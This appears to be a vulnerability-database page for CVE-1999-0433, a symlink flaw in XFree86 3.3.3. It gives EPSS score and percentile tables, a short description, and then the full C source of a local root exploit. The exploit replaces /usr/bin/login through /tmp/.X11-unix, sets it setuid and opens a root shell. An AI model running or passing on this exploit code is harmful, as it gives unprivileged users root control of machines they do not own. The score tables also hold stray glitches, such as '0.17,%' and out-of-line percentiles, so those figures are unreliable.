CVE-1999-0433 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-01-14	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.17%
2025-03-30	–	–	–	–	0.17%
2025-04-15	–	–	–	–	0.17%
2025-05-01	–	–	–	–	0.17%
2025-05-04	–	–	–	–	0.17%
2025-05-04	–	–	–	–	0.17,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	8%
2024-01-14	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	36%
2025-03-30	35%
2025-04-15	39%
2025-05-01	4%
2025-05-04	39%
2025-05-04	39%

// source: https://www.securityfocus.com/bid/326/info There is a symlink vulnerability known to exist under most modern linux and NetBSD distributions. It involves /tmp/.X11-unix and the tendency to follow to/overwrite the file pointed to if a symlink. It may be possible for a regular user to write arbritrary data to a file they normally have no write access to resulting in a root compromise. /*** local XFree 3.3.3-symlink root-compromise. *** Tested under FreeBSD 3.1 (but should work on others 2) *** (C) 1999/2000 by Stealthf0rk for the K.A.L.U.G. *** (check out http://www.kalug.lug.net/stealth or /coding for *** other kewl stuff!) *** *** FOR EDUCATIONAL PURPOSES ONLY!!! USE IT AT YOUR OWN RISK. *** Even if this program restores all, you should backup your *** login before running this. ***/ #include <stdio.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #define LOGIN "/usr/bin/login" #define TELNET "/usr/bin/telnet" int cp(const char*, const char*, int); int main(int argc, char **argv) { char *telnet[] = {TELNET, "localhost", NULL}; char *shell[] = {"/bin/sh", NULL}; char *X[] = {"/usr/X11R6/bin/xinit", NULL}; FILE *f = NULL; int p = 0; char buf[1000] = {0}; /* the rootshell */ if (!geteuid() || !getuid()) { unlink(LOGIN); cp("/tmp/L", LOGIN, 1); chmod(LOGIN, 04555); printf("Welcome!\n"); unlink("/tmp/.X11-unix"); unlink("/tmp/L"); execve(*shell, shell, NULL); } /* back up */ cp(LOGIN, "/tmp/L", 1); if (symlink(LOGIN, "/tmp/.X11-unix") < 0) { perror("symlink (/tmp/.X11-unix)"); exit(errno); } if ((p = fork()) < 0) { perror("fork"); exit(errno); } else if (p > 0) { sleep(7); kill(p, 9); cp(argv[0], LOGIN, 1); execve(telnet[0], telnet, NULL); perror("fatal:"); } else { printf("Xfree 3.3.3 root-sploit by Stealth. http://www.kalug.lug.net\n"); printf("\n-> Please give me some seconds... <-\n\n"); execve(X[0], X, NULL); } return 0; } int cp(const char *from, const char *to, int how) { int in = 0, out = 0, r = 0; char buf[1000] = {0}; printf("cp %s %s\n", from, to); /* overwrite ? */ if (how == 1) how = O_RDWR|O_TRUNC|O_CREAT; else how = O_RDWR|O_CREAT; if ((out = open(to, how)) < 0) { perror("open 1"); exit(errno); } if ((in = open(from, O_RDONLY)) < 0) { perror("open 2"); exit(errno); } while ((r = read(in, buf, 1000-1)) > 0) { write(out,buf,r); memset(buf,0,1000); } close(in); close(out); return 0; }